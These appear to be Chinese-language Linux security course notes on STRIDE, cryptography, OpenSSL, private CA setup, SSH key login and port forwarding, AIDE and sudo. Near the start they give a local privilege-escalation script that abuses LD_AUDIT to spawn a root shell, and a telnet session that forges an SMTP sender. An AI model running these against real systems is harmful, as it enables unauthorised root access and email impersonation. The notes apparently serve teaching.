![Uploading Paste_Image_494871.png . . .]](http:https://img.haomeiwen.com/i6044565/1f235597a3424b0b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)



墨菲定律
墨菲定律
一种心理学效应,是由爱德华·墨菲(Edward A. Murphy)提出的;
原话:如果有两种或两种以上的方式去做某件事情,而其中一种选择方式将导致灾难,则必定有人会做出这种选择;
主要内容
任何事都没有表面看起来那么简单
所有的事都会比你预计的时间长
会出错的事总会出错
如果你担心某种情况发生,那么它就更有可能发生
安全机制
NIST(美国国家标准与技术研究院)定义的安全属性:
保密性:
数据保密性
隐私性
完整性:不可篡改
数据完整性
系统完整性
可用性
安全攻击:STRIDE
Spoofing(假冒)、Tampering(篡改)、Repudiation(否认)、
Information Disclosure(信息泄漏)、Denial of Service(拒绝服务)、
Elevation of Privilege(提升权限)
smtp 邮件服务 25端口
假冒身份,发送邮件
telnet 127.0.0.1(对方ip) 25(服务端口)
helo a.com (测试是否成功:250表示返回信息的标志,当前操作成功)
mail from:fgq@fgqcompany.com(以谁的身份发送邮件)
rcpt to:feng(给谁发送)
data(表示下面开始输入邮件内容)
subject:Hello(邮件标题)
How are you?
How old are you?
.(表示邮件内容输入完毕)
quit(断开网络连接)
Elevation of Privilege(提升权限)
1 yum -y install gcc
2 cat crack.sh
mkdir /tmp/feng
ln /bin/ping /tmp/feng/test
exec 3< /tmp/feng/test
rm -rf /tmp/feng
cat > /tmp/feng.c <<eof
void _attribute_((constructor)) init()
{
setuid(0)
system("/bin/bash");
}
eof
gcc -w -fPIC -shared -o /tmp/feng /tmp/feng.c
3 LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 &> /dev/null
安全
安全机制:
加密、数字签名(私钥加密)、访问控制、数据完整性、认证交换、流量填充、路由控制、公证
安全服务:
认证
访问控制
数据保密性
连接保密性
无连接保密性
选择域保密性
流量保密性
数据完整性
不可否认性
iptables
firewalld(新)
DMZ 非军事化区


设计基本原则
使用成熟的安全系统
以小人之心度输入数据
外部系统是不安全的
最小授权
减少外部接口
缺省使用安全模式
安全不是似是而非
从STRIDE思考
在入口处检查
从管理上保护好你的系统
安全算法
常用安全技术
认证
授权
安全通信
审计
密码算法和协议:
对称加密
公钥加密
单向加密
认证协议
Linux系统:OpenSSL, gpg(pgp协议的实现)
对称加密算法
对称加密:加密和解密使用同一个密钥
DES:Data Encryption Standard,56bits
3DES:
AES:Advanced (128, 192, 256bits)
Blowfish,Twofish
IDEA,RC6,CAST5
特性:
1、加密、解密使用同一个密钥,效率高
2、将原始数据分割成固定大小的块,逐个进行加密
缺陷:
1、密钥过多
2、密钥分发
3、数据来源无法确认
非对称加密算法
公钥加密:密钥是成对出现
公钥:公开给所有人;public key
私钥:自己留存,必须保证其私密性;secret key
特点:
用公钥加密数据,只能使用与之配对的私钥解密;反之亦然
功能:
数字签名:主要在于让接收方确认发送方身份
对称密钥交换:发送方用对方的公钥加密一个对称密钥后发送给对方
数据加密:适合加密较小数据
缺点:
密钥长,加密解密效率低下
算法:
RSA(加密,数字签名),DSA(数字签名),ELGamal
基于一对公钥/密钥对
用密钥对中的一个加密,另一个解密
实现加密:
接收者
生成公钥/密钥对:P和S
公开公钥P,保密密钥S
发送者
使用接收者的公钥来加密消息M
将P(M)发送给接收者
接收者
使用密钥S来解密:M=S(P(M))
实现数字签名:
发送者
生成公钥/密钥对:P和S
公开公钥P,保密密钥S
使用密钥S来加密消息M
发送给接收者S(M)
接收者
使用发送者的公钥来解密M=P(S(M))
结合签名和加密
分离签名
A发送数据给B:
以A的私钥加密,发送给B,B以A的公钥解密data;
Pa{Sa(data)}
效率比较
加密前数据大小 | 加密后数据大小 | 加密时间 | 解密时间 | |
---|---|---|---|---|
DES | 1G | 2G | 4min | 8min |
RSA | 1G | 2G | 4min | 64h |
优盾
对称秘钥和非对称秘钥结合使用


单向散列
hash(data):digest 摘要(“指纹”)
将任意数据缩小成固定大小的“指纹”
任意长度输入
固定长度输出
若修改数据,指纹也会改变(“不会产生冲突”)
无法从指纹中重新生成数据(“单向”)
功能:
数据完整性
常见算式
md5: 128bits
sha1: 160bits、sha224、sha256、sha384、sha512
常用工具
md5sum | sha1sum [ --check ] file
openssl、gpg
rpm -V 检查文件完整性(权限、内容、名称...)
优化加密(A发送数据给B)
1 Pb{data+hash{Sa(data)}} 公钥加密、私钥签名
B以自己的私钥解密(安全性)
B以A的公钥解密(验证了数据来源)
效率低
2 key{data+Sa(hash(data))}+Pb(key) 对称加密(key)、非对称加密(PS)、hash
B以自己的私钥解密
B以A的公钥解密
hash算法做比较(确保数据完整性)
效率高
企业里的重要文件,需要定期检查是否被他人更改;
hash算法:文件内容(检查是否变化);文件名称及其权限(不检查);
黑客如果攻入你的系统,就会用自己特制的ps代替系统的ps工具;
你输入ps命令,想检查是否有恶意程序,已经看不出来了,但是黑客的程序仍在后台运行;
ps -aux; ss -ntl 都无法查出




检测centos7.3下载光盘数据完整性






密钥交换
密钥交换:IKE(Internet Key Exchange )
公钥加密:
DH (Deffie-Hellman):生成会话密钥;
https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange
DH:
1、A: a,p 协商生成公开的整数a,大素数p(素数——质数——能被自己和1整除的数:2、3、5、7、11...)
B: a,p
2、A:生成隐私数据:x (x<p),计算得出a^x%p,发送给B
B:生成隐私数据:y,计算得出a^y%p,发送给A
3、A:计算得出[(a^y%p)^x] %p = a^xy%p,生成为密钥(对称秘钥)
B:计算得出[(a^x%p)^y] %p = a^xy%p,生成为密钥(对称秘钥)
4、安全性:a、p和计算结果可以在公网上上传,但是x和y不在公网上传;
应用程序:RPM
文件完整性的两种实施方式
被安装的文件
MD5单向散列
rpm --verify package_name (or -V)
发行的软件包文件
GPG公钥签名
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-redhat* (非对称、公钥)
rpm -K|--checksig pakage_file_name 检查包的完整性和签名
yum安装过程中,有gpgkey=...(公钥)
使用gpg实现对称加密
对称加密file文件
gpg -c file
设置该文件的口令
ls file.gpg
scp file.gpg ip(对方ip)
在另一台主机上解密file
不输入或输错口令,就会导致乱码
gpg -o file -d file.gpg


使用gpg工具实现公钥加密
在hostB主机上用公钥加密,在hostA主机上解密
在hostA主机上生成公钥/私钥对
gpg --gen-key
在hostA主机上查看公钥
gpg --list-keys
在hostA主机上导出公钥到feng.pubkey
gpg -a --export -o feng.pubkey
从hostA主机上复制公钥文件到需加密的B主机上
scp feng.pubkey hostB:
在需加密数据的hostB主机上生成公钥/私钥对
gpg --list-keys
gpg --gen-key
在hostB主机上导入公钥
gpg --import feng.pubkey
gpg --list-keys
用从hostA主机导入的公钥,加密hostB主机的文件file,生成file.gpg
gpg -e -r fengtaida file
file file.gpg
复制加密文件到hostA主机
scp fstab.gpg hostA:
在hostA主机解密文件
gpg -d file.gpg
gpg -o file -d file.gpg
删除公钥和私钥
gpg --delete-keys fengtaida
gpg --delete-secret-keys fengtaida
实验:centos6上加密文件,centos7上解密文件
CA和证书
A发送数据给B
非对称加密——如何确认公钥是其本人的(防止黑客入侵)

PKI: Public Key Infrastructure
签证机构:CA(Certificate Authority)
注册机构:RA
证书吊销列表:CRL
证书存取库:
X.509:定义了证书的结构以及认证协议标准
版本号
序列号
签名算法
颁发者
有效期限
主体名称
主体公钥
CRL分发点
扩展信息
发行者签名
证书获取

RootCA通常与微软合作,早已经把公钥Prca安装在计算机上了;

证书类型:
证书授权机构的证书
服务器
用户证书
获取证书两种方法:
使用证书授权机构
生成签名请求(csr)
将csr发送给CA
从CA处接收签名
自签名的证书
自已签发自己的公钥
泛域名证书
*
https


安全协议
SSL: Secure Socket Layer
TLS: Transport Layer Security
1995:SSL 2.0 Netscape
1996: SSL 3.0
1999: TLS 1.0
2006: TLS 1.1 IETF(Internet工程任务组) RFC 4346(通信协议标准)
2008:TLS 1.2 当前使用
2015: TLS 1.3
功能:机密性,认证,完整性,重放保护
两阶段协议,分为握手阶段和应用阶段
key{data+Sa(hash(data))}+Pb(key) 综合型加密
对称秘钥加密(数字签名(哈希运算))
握手阶段(协商阶段):
客户端和服务器端认证对方身份(依赖于PKI体系,利用数字证书进行身份认证),并协商通信中使用的安全参数、密码套件以及主密钥。
后续通信使用的所有密钥都是通过MasterSecret生成。
应用阶段:
在握手阶段完成后进入,在应用阶段通信双方使用握手阶段协商好的密钥进行安全通信
SSL/TLS

(包头封装(加密(应用层封装)))
ethernet(ip(tcp(tls(app层(data)))))
tls(http(data)) = https (常见)
tls(ftp(data)) = ftps (少见)
tls可以保护上层的好多协议
Handshake协议:包括协商安全参数和密码套件、服务器身份认证(客户端身份认证可选)、密钥交换
Change Cipher Spec 协议:一条消息表明握手协议已经完成
Alert 协议:对握手协议中一些异常的错误提醒,分为fatal和warning两个级别,fatal类型错误会直接中断SSL链接,而warning级别的错误SSL链接仍可继续,只是会给出错误警告
Record 协议:包括对消息的分段、压缩、消息认证和完整性保护、加密等
HTTPS 协议:就是“HTTP 协议”和“SSL/TLS 协议”的组合。HTTP over SSL”或“HTTP over TLS”,对http协议的文本数据进行加密处理后,成为二进制形式传输
客户访问网站
客户 | ————> | 网站 | |
---|---|---|---|
request | ————> | ||
<———— | Srac(Pwebsrv+...) 证书 | ||
Pwebsrv(sessionkey) | ————> | ||
<———— | sessionkey(data) | ||
http(data) |


OpenSSL
OpenSSL:开源项目
三个组件:
openssl: 多用途的命令行工具,包openssl
libcrypto: 加密算法库,包openssl-libs(多个模块)
libssl:加密模块应用库,实现了ssl及tls,包nss
openssl命令:
两种运行模式:交互模式和批处理模式
openssl version:程序版本号
标准命令、消息摘要命令、加密命令
标准命令:
enc, ca, req, ...
对称加密:
工具:openssl enc, gpg
算法:3des, aes, blowfish, twofish
enc命令:
帮助:man enc
加密:
openssl enc -e(加密) -des3 -a -salt -in(输入文件) f1.awk -out f1.enc(输出文件,后缀随意)
解密:
openssl enc -d(解密) -des3 -a -salt -in f1.enc -out f1.txt

单向加密:
工具:md5sum, sha1sum, sha224sum,sha256sum…
openssl dgst
dgst命令:
帮助:man dgst
openssl dgst -md5 [-hex默认] /PATH/SOMEFILE
openssl dgst -md5 testfile
md5sum /PATH/TO/SOMEFILE
MAC: Message Authentication Code,单向加密的一种延伸应用,用于实现网络通信中保证所传输数据的完整性机制
CBC-MAC
HMAC:使用md5或sha1算法

生成用户密码:
passwd命令:
帮助:man sslpasswd
openssl passwd -1 1表示生成md5算法
openssl passwd -1 -salt SALT(最多8位)
openssl passwd -1 –salt centos
grub-md5-crypt(centos6)

生成随机数:
帮助:man sslrand
openssl rand -base64|-hex NUM
NUM: 表示字节数;-hex时,每个字符为十六进制,相当于4位二进制,出现的字符数为NUM*2

公钥加密:
算法:RSA, ELGamal
工具:gpg, opensslrsautl(man rsautl)
数字签名:
算法:RSA, DSA(不支持公钥加密), ELGamal
密钥交换:
算法:dh
DSA: Digital Signature Algorithm
DSS:Digital Signature Standard
RSA:
生成密钥对儿:man genrsa
生成私钥
openssl genrsa -out /PATH/TO/PRIVATEKEY.FILE NUM_BITS
(umask077; openssl genrsa -out test.key -des 2048)
从私钥中提取出公钥(证书里带私钥,一般就不提取公钥)
openssl rsa -in PRIVATEKEYFILE -pubout -out PUBLICKEYFILE
openssl rsa -in test.key -pubout -out test.key.pub
随机数生成器:伪随机数字
键盘和鼠标
块设备中断
/dev/random:仅从熵池返回随机数;随机数用尽,阻塞
/dev/urandom:从熵池返回随机数;随机数用尽,会利用软件生成伪随机数,非阻塞


PKI:Public Key Infrastructure
CA
RA
CRL
证书存取库
建立私有CA:
OpenCA
openssl
证书申请及签署步骤:
0、搭建CA——>生成私钥
1、生成申请请求(请求、个人信息)
2、RA核验
3、CA签署
4、获取证书
创建CA和申请证书
创建私有CA:
openssl的配置文件:/etc/pki/tls/openssl.cnf
三种策略:匹配、支持和可选
匹配指要求申请填写的信息跟CA设置信息必须一致
支持指必须填写这项申请信息
可选指可有可无
openssl ? (不支持补全,可以用此命令查看所需命令)


重要配置文件
dir = /etc/pki/CA # Where everything is kept
certs = /etc/pki/CA/certs # Where the issued certs are kept
database = /etc/pki/CA/index.txt # database index file.
new_certs_dir = /etc/pki/CA/newcerts # default place for new certs.
certificate = /etc/pki/CA/cacert.pem # The CA certificate
serial = /etc/pki/CA/serial # The current serial number
private_key = /etc/pki/CA/private/cakey.pem # The private key
client | server |
---|---|
centos6 | centos7 |
https://www.magedu.com | 作为CA,给centos6发证书 |
server | client |
---|---|
centos6 | 其他客户机 |
1、创建所需要的文件
touch /etc/pki/CA/index.txt 生成证书索引数据库文件
echo 01(必须是两位数) > /etc/pki/CA/serial 指定第一个颁发证书的序列号
2、CA自签证书
生成私钥
cd /etc/pki/CA/
(umask 066; openssl genrsa -out /etc/pki/CA/private/cakey.pem 2048)仅本次有效
*tree /etc/pki/CA/ 查看是否生成秘钥; ll /etc/pki/CA/private/cakey.pem 查看是否成功设置权限
生成自签名证书
openssl req -new -x509 -key /etc/pki/CA/private/cakey.pem -days 7300 -out /etc/pki/CA/cacert.pem
-new: 生成新证书签署请求
-x509: 专用于CA生成自签证书
-key: 生成请求时用到的私钥文件
-days n:证书的有效期限
-out /PATH/TO/SOMECERTFILE: 证书的保存路径
*tree /etc/pki/CA/; openssl x509 -in /etc/pki/CA/cacert.pem -noout -text 查看是否操作成功
*sz /etc/pki/CA/cacert.pem
*windows里的下载文件夹中查找文件,更改后缀为.cer,即可打开查看
泛域名:*.fgq.com——后缀为fgq.com的即可访问此网站
3、颁发证书
A 在需要使用证书的主机生成证书请求
给web服务器生成私钥
(umask 066; openssl genrsa -out /etc/pki/tls/private/test.key 2048)
生成证书申请文件
openssl req -new -key /etc/pki/tls/private/test.key -days 365 -out /etc/pki/tls/test.csr
不是想申请几天就有几天,CA机构批多少天就是多少天
B 将证书请求文件传输给CA
scp /etc/pki/tls/test.csr ip(CA机构):/etc/pki/CA/ 输入对方的口令
C CA签署证书,并将证书颁发给请求者
mkdir tmp
openssl ca -in /tmp/test.csr -out /etc/pki/CA/certs/test.crt -days 365
注意:默认国家,省,公司名称三项必须和CA一致
D 查看证书中的信息:
openssl x509 -in /PATH/FROM/CERT_FILE -noout -text|issuer|subject|serial|dates
openssl ca -status SERIAL 查看指定编号的证书状态
自动生成/etc/pki/CA/newcerts/01.perm
ll /etc/pki/CA/newcerts/01.perm /etc/pki/CA/certs/service.crt(二者大小相同)
cat /etc/pki/CA/serial——(16进制数)
cat /etc/pki/CA/index.txt
cat /etc/pki/CA/index.txt.attr
openssl x509 -in /etc/pki/CA/cacerts/service.crt -noout -text
sz /etc/pki/CA/cacerts/service.crt

4、吊销证书
A 在客户端获取要吊销的证书的serial
openssl x509 -in /PATH/FROM/CERT_FILE -noout -serial -subject
B 在CA上,根据客户提交的serial与subject信息,对比检验是否与index.txt文件中的信息一致,吊销证书:
openssl ca -revoke /etc/pki/CA/newcerts/SERIAL.pem
C 指定第一个吊销证书的编号
注意:第一次更新证书吊销列表前,才需要执行
echo 01 > /etc/pki/CA/crlnumber
D 更新证书吊销列表
openssl ca -gencrl -out /etc/pki/CA/crl/crl.pem
查看crl文件:
openssl crl -in /etc/pki/CA/crl/crl.pem -noout -text
同一个私钥可以生成另外一个请求
如果策略不相同,可以更改策略,把default改为anything

rpm -qp --scripts /misc/cd/Packages/mod_ssl-2.4.6-45.el7.centos.x86_64.rpm

SSH
ssh: secure shell, protocol, 22/tcp, 安全的远程登录
具体的软件实现:
OpenSSH: ssh协议的开源实现,CentOS默认安装
dropbear:另一个开源实现
端口冲突,更改为非标准端口
SSH协议版本
v1: 基于CRC-32做MAC,不安全;man-in-middle(淘汰)
v2:双方主机协议选择安全的MAC方式
基于DH算法做密钥交换,基于RSA或DSA实现身份认证
两种方式的用户登录认证:
基于password(少量机器)
基于key
OpenSSH介绍
相关包:
openssh
openssh-clients
openssh-server
工具:
基于C/S结构
Client: ssh, scp, sftp
Windows客户端:
xshell, putty, securecrt, sshsecureshellclient
Server: sshd
lsof -i :22 查看谁监听此端口
ssh客户端
ssh, 配置文件:/etc/ssh/ssh_config
Host PATTERN
StrictHostKeyChecking no 首次登录不显示检查提示
cd /etc/ssh; cp ssh_config ssh_config.bak; vim ssh_config

格式:
ssh [user@]host [COMMAND]
ssh [-l user] host [COMMAND]
-p port:远程服务器监听的端口
-b:指定连接的源IP
-v:调试模式(连接对方一直出故障)
-C:压缩方式
-X: 支持x11转发
-Y:支持信任x11转发
ForwardX11Trusted yes
-t: 强制伪tty分配
ssh -t remoteserver1 ssh remoteserver2
允许实现对远程系统经验证地加密安全访问
当用户远程连接ssh服务器时;
会复制ssh服务器/etc/ssh/ssh_host*key.pub(CentOS7默认是ssh_host_ecdsa_key.pub)文件中的公钥到客户机的~./ssh/know_hosts中。
下次连接时,会自动匹配相应私钥,不能匹配,将拒绝连接
ssh -p 9527(远程端口) 192.168.128.136(远程ip)
ssh -b 172.16.250.186(本机ip) 172.16.250.187(远程ip)
ssh -v 192.168.128.136(远程ip)(连接远程一直出故障,-v选项做调试)
ssh -X 192.168.128.129(远程ip); nm-connection-editor centos6上可以用centos7上的图形工具
X 协议转发
所有图形化应用程序都是X客户程序
能够通过tcp/ip连接远程X服务器
数据没有加密机,但是它通过ssh连接隧道安全进行
ssh -X user@remotehost gedit
remotehost主机上的gedit工具,将会显示在本机的X服务器上
传输的数据将通过ssh连接加密

把centos6的桌面搬到了windows上,相当于安装了一个Xserver,centos6做客户端
应用:远程安装Oracle数据库;



管理多台服务器,只需要输入一次命令——Xshell

在3上设置防火墙策略,1不能连接3,2可以连接3:
iptables -A INPUT -s ip1 -j REJECT
1通过连接2,2再连接3,实现1间接连接3:
ssh -t ip2 ssh ip3
需要输入2和3的口令

基于key(密钥)认证
(1) 在客户端生成密钥对
ssh-keygen -t rsa [-P ''] [-f "~/.ssh/id_rsa"](不写,默认家目录)
eg: ssh-keygen -t rsa(不写,默认家目录)
(2) 把公钥文件传输至远程服务器对应用户的家目录
ssh-copy-id [-i [identity_file]](公钥路径) [user@]host
eg: ssh-copy-id -i ~/.ssh/id_rsa(拷公钥) root@ip1 输入口令
ssh-copy-id -i ~/.ssh/id_rsa root@ip2 (可以用同一公钥,连接多个机器,公钥会追加)
(3) 测试
eg: cd .ssh; ls; cat authorized_keys(服务器上操作)
scp file1 root@ip0 (服务器上操作)
ssh root@ip1 (客户机操作,不用输入口令,直接登录成功)
自动用私钥签名请求,服务器端用你发的公钥解密
ssh ip1/2 'cmd' (ip0上操作,管理ip1/2,自动化操作)
(4) 在SecureCRT或Xshell实现基于key验证
在SecureCRT工具—>创建公钥—>生成Identity.pub文件
转化为openssh兼容格式(适合SecureCRT,Xshell不需要转化格式),
并复制到需登录主机上相应文件authorized_keys中,注意权限必须为600,在需登录的ssh主机上执行:
ssh-keygen -i -f Identity.pub >> .ssh/authorized_keys
(公钥有多个,需要指定文件 -f,.ssh/id_rsa或者.ssh/id_dsa)
(5)重设私钥口令:#ssh-keygen -p
eg: ssh-keygen -p -f .ssh/id_dsa(客户机上操作)
ssh ip1/2 'uname -r' 需要输入私钥口令
(6)验证代理(authentication agent)保密解密后的密钥
这样口令就只需要输入一次
在GNOME中,代理被自动提供给root用户
否则运行 ssh-agent bash
eg: ssh-agent bash 启动代理
(7)钥匙通过命令添加给代理
ssh-add
eg: ssh-add 把(5)设置的私钥口令托管给代理(输入设置的私钥口令)
ssh ip1/2 'uname -r' 直接访问,不需要输入私钥口令
每次exit之后,都要输入私钥口令,即重复(6)、(7)步骤

Xshell实现基于key验证





cat id_rsa_1024.pub >> .ssh/authorized_keys
在SecureCRT上实现基于key验证


转换格式:ssh-keygen -i -f Identity.pub >> .ssh/authorized_keys
scp命令
scp [options] SRC... DEST/
两种方式:
scp [options] [user@]host:/sourcefile /destpath
scp [options] /sourcefile [user@]host:/destpath
不能把远程文件拷贝到远程主机,必须有一个路径是本机路径
常用选项:
-C: 压缩数据流
-r: 递归复制
-p: 保持原文件的属性信息
-q: 静默模式
-P PORT: 指明remote host的监听的端口
scp f1 192.168.128.136:
scp -p f1 f2 192.168.128.136: f1文件已经存在远程主机上,还会继续拷贝f1文件,并不会覆盖,效率低下
rsync命令
基于ssh和rsh服务实现高效率的远程系统之间复制文件
使用安全的shell连接做为传输方式
rsync -av /etc server1:/tmp 复制目录和目录下文件
rsync -av /etc/ server1:/tmp 只复制目录下文件
比scp更快,只复制不同的文件
选项:
-n 模拟复制过程
-v 显示详细过程
-r 递归复制目录树
-p 保留权限
-t 保留时间戳
-g 保留组信息
-o 保留所有者信息
-l 将软链接文件本身进行复制(默认)
-L 将软链接文件指向的文件复制
-a 存档,相当于-rlptgoD,但不保留ACL(-A)和SELinux属性(-X)
应用
维护web服务器,很多网页文件、html文件需要更新
rsync -av /website 192.168.128.136 修改文件被覆盖,无变化的文件不复制
参数过多,配合xargs使用
sftp命令(ssh协议)
交互式文件传输工具
用法和传统的ftp工具相似
利用ssh服务实现安全的文件上传和下载
使用 ls cd mkdir rmdir pwd get put等指令,可用?或help获取帮助信息
sftp [user@]host
sftp> help
应用
sftp 192.168.128.136 基于key验证后,不需要输入远程ip的口令,访问远程主机的根目录
ftp 192.168.128.136 访问远程主机的/var/ftp/目录

SSH端口转发
什么是SSH端口转发?
SSH自动加密和解密所有SSH客户端与服务端之间的网络数据;
SSH能够将其他TCP端口的网络数据通过SSH链接来转发,并且自动提供了相应的加密及解密服务;
这一过程叫做“隧道”(tunneling),SSH为其他TCP链接提供了一个安全的通道来进行传输;
如:Telnet,SMTP,LDAP 这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输;
如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH的连接,也能够通过将TCP端口转发来使用SSH进行通讯;
SSH 端口转发能够提供两大功能:
加密 SSH Client 端至 SSH Server 端之间的通讯数据
突破防火墙的限制完成一些之前无法建立的 TCP 连接
vim /etc/postfix/main.cf smtp的配置文件(启用邮件功能)


本地转发:
-L localport:remotehost:remotehostport sshserver
选项:
-f 后台启用
-N 不打开远程shell,处于等待状态
-g 启用网关功能
示例
ssh -L 9527:telnetsrv:23 -N sshsrv
telnet 127.0.0.1 9527
当访问本机的9527的端口时,被加密后转发到sshsrv的ssh服务,再解密被转发到telnetsrv:23
data <——> localhost:9527 <——> localhost:XXXXX <——> sshsrv:22 <——> sshsrv:YYYYY <——> telnetsrv:23
---------------------------------------------------------------------------
实验
centos5——3 centos6——1 centos7——2
centos7:
systemctl start telnet.socket; netstat -ntl(telnet :23)
iptables -vnL; iptables -F
iptables -A INPUT -s ip5 -j REJECT centos5连接不上centos7
centos6:
iptables -vnL; iptables -F
centos5:
netstat -ntl; 没有9527端口,要首先打开此端口
ssh -L 9527:ip2:23 -Nf ip1 需要输入1的口令,即可登录上1(-Nf 不会跳转到1,且后台运行)
telnet ip3 9527 连接本机ip,需要输入2的口令,即可登录上2

远程转发:
-R sshserverport:remotehost:remotehostport sshserver
示例:
ssh -R 9527:telnetsrv:23 -N sshsrv
让sshsrv侦听9527端口的访问,如有访问,就加密后通过ssh服务转发请求到本机ssh客户端,再由本机解密后转发到telnetsrv:23
Data<——>sshsrv:9527<——>sshsrv:22 <——>localhost:XXXXX<——>localhost:YYYYY<——>telnetsrv:23
----------------------------------------------------------------------------
实验
centos5——3 centos6——1 centos7——2
centos6:
ssh -R 9527:ip2:23 -Nf ip3(自动在3上开启9527端口)
centos5:
telnet ip3 9527 (连接本机的ip)
VPN 限制外部机器连接内部机器


动态端口转发:(限制内部连接外部)
当用firefox访问internet时,本机的1080端口做为代理服务器,firefox的访问请求被转发到sshserver上,由sshserver替之访问internet
在本机firefox设置代理socket proxy:127.0.0.1:1080
#ssh -D 9527 root@sshserver
实验
centos5——1
centos6——2
centos7——3
centos5:
yum -y install httpd
vim /var/www/html/index.html
<h1>GOOGEL</h1>
service httpd start
iptables -vnL; iptables -F
ss -ntl
iptables -A INPUT -s ip3 -j REJECT centos7不能直接连接centos5
cat /var/log/httpd/access_log 可以看到是centos6连接到本机,不是centos7
centos6:
ss -ntl
centos7:
iptables -vnL; iptables -F
curl ip1 显示<h1>GOOGEL</h1>,即可连接成功
ssh -D 9527 ip2 输入2的口令,即可登录到2机器上
ss -ntl 是否有9527端口





ssh服务器
服务器端:sshd, 配置文件: /etc/ssh/sshd_config; man /etc/ssh/sshd_config
常用参数:
Port(更改为非标准端口,selinux限制)
ListenAddress ip
PermitRootLogin yes(不允许以root身份连接,可以普通用户身份连接,再切换至root)
ClientAliveInterval(单位:秒)和ClientAliveCountMax(默认3,间隔15s,3次间隔,就是45s)
UseDNS yes(ip转换成主机名,耗时,把UseDNS设置为no)
MaxStartups 最大允许保持多少个未认证连接。默认值10
MaxSessions 同一个连接最大会话
限制可登录用户的办法:
AllowUsers user1 user2 user3(有了白名单,不在白名单中的人,拒绝访问)
DenyUsers(黑名单的优先级高于白名单)
AllowGroups
DenyGroups
nmcli connection modify eth1 ipv6.address ipv6地址 更改ipv6地址

ssh服务的最佳实践
要使用默认端口(安全,使用非默认端口)
禁止使用 protocol version 1
限制可登录用户(黑名单、白名单)
设定空闲会话超时时长(时间间隔)
利用防火墙设置ssh访问策略(只允许某个ip访问server)
仅监听特定的IP地址(22端口——内网和外网——内网使用22端口,外网不用22端口)
基于口令认证时,使用强密码策略
tr -dc A-Za-z0-9_ < /dev/urandom | head -c 30 | xargs
openssl rand -base64 12
使用基于密钥的认证
禁止使用空密码
禁止root用户直接登录
限制ssh的访问频度和并发在线数
做好日志,经常分析
tail -f /var/log/secure
编译安装dropbear示例
ssh协议的另一个实现:dropbear
安装准备:
1、网上下载dropbear(最新版); rz 上传到Linux里; ll -h dropbear包
2、安装开发包组: yum -y install "Development Tools"
安装:
3、tar xvf dropbear-2017.75.tar.bz2; cd dropbear-2017.75/;
4、cat README; cat INSTALL; du -sh .
5、./configure; yum -y install zlib-devel
6、make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"(可以选择性编译安装)
7、make PROGRAMS="dropbear dbclient(相当于ssh) dropbearkey dropbearconvert scp" install
启动ssh服务:
8、ls /usr/local/sbin/(服务器) /usr/local/bin/(客户端)
9、/usr/local/sbin/dropbear -h
10、mkdir /etc/dropbear(默认放在此目录,没有此文件夹,就要创建,cd /etc/dropbear ?)
11、dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key -s 2048
12、dropbearkey -t dss -f /etc/dropbear/dropbear_dsa_host_key(第二个钥匙)
13、dropbear -p :2222 -F -E 前台运行,输出至前台
dropbear -p :2222 后台运行
(./dropbear --help)
客户端访问:
14、ssh -p 2222 root@127.0.0.1
15、dbclient -p 2222 root@127.0.0.1
AIDE(Adevanced Intrusion Detection Environment)
当一个入侵者进入了你的系统并且种植了木马;通常会想办法来隐蔽这个木马;
除了木马自身的一些隐蔽特性外,他会尽量给你检查系统的过程设置障碍
入侵者会修改一些文件,如:ps文件或者crontab文件;
管理员用ps -aux查看系统进程,入侵者用自己修改的ps程序来替换掉你系统上的ps程序,以使用ps命令查不到正在运行的木马程序;
管理员正在运行crontab作业,入侵者可能替换掉crontab程序等等;
对于系统文件或关键文件的检查是很必要的,系统完整性检查的工具用的比较多的有两款:
Tripwire——一款商业软件;AIDE——一款免费的但功能也很强大的工具
AIDE(高级入侵检测环境)
是一个入侵检测工具,主要用途是检查文件的完整性,审计计算机上的哪些文件被更改过了
AIDE能够构造一个指定文件的数据库,它使用aide.conf作为其配置文件;
AIDE数据库能够保存文件的各种属性,包括:
权限(permission)、索引节点序号(inode number)、所属用户(user)、所属用户组(group)、
文件大小、最后修改时间(mtime)、创建时间(ctime)、最后访问时间(atime)、增加的大小以及连接数;
AIDE使用下列算法:sha1、md5、rmd160、tiger,以密文形式建立每个文件的校验码或散列号;
AIDE数据库不应该保存那些经常变动的文件信息,例如:日志文件、邮件、/proc文件系统、用户起始目录以及临时目录;
安装
yum -y install aide
修改配置文件
vim /etc/aide.conf(指定对哪些文件进行检测)
/test/chameleon R
/bin/ps R+a
/usr/bin/crontab R+a
/etc PERMS
!/etc/mtab #“!”表示忽略这个文件的检查
R=p+i+n+u+g+s+m+c+md5 权限+索引节点+链接数+用户+组+大小+最后一次修改时间+创建时间+md5校验值
NORMAL = R+rmd60+sha256
初始化默认的AIDE的库:
/usr/local/bin/aide --init (aide --init 已经在PATH变量路径里、centos7)
生成检查数据库(建议初始数据库存放到安全的地方)
cd /var/lib/aide
mv aide.db.new.gz aide.db.gz
生成的新文件是aide.db.new.gz,用于检测的文件名称必须是aide.db.gz
检测:
/usr/local/bin/aide --check (aide --check)
更新数据库
aide --update

更改身份
su 切换身份: su -l username -c 'command'
sudo
来自sudo包
man 5 sudoers
sudo能够授权指定用户在指定主机上运行某些命令;如果未授权用户尝试使用sudo,会提示联系管理员;
sudo可以提供日志,记录每个用户使用sudo操作;
sudo为系统管理员提供配置文件,允许系统管理员集中地管理用户的使用权限和使用的主机;
sudo使用时间戳文件来完成类似“检票”的系统,默认存活期为5分钟的“入场券”;
通过visudo命令编辑配置文件,具有语法检查功能(=vi /etc/sudoers)
visudo -c 检查语法
export EDITOR=vim 有颜色,临时生效,家目录——自己生效,/etc/profile.d——全局生效
visudo处理文件,其权限自动被更改
配置文件:/etc/sudoers, /etc/sudoers.d/
时间戳文件:/var/db/sudo
日志文件:/var/log/secure
配置文件支持使用通配符glob:
?:任意单一字符
* :匹配任意长度字符
[wxc]:匹配其中一个字符
[!wxc]:除了这三个字符的其它字符
\x : 转义
[[alpha]]:字母 示例:/bin/ls [[alpha]]*
配置文件规则有两类;
1、别名定义:不是必须的
2、授权规则:必须的
授权规则格式:
用户 登入主机=(代表用户) 命令
示例:
root ALL=(ALL) ALL
格式说明:
user: 运行命令者的身份
host: 通过哪些主机
(runas):以哪个用户的身份
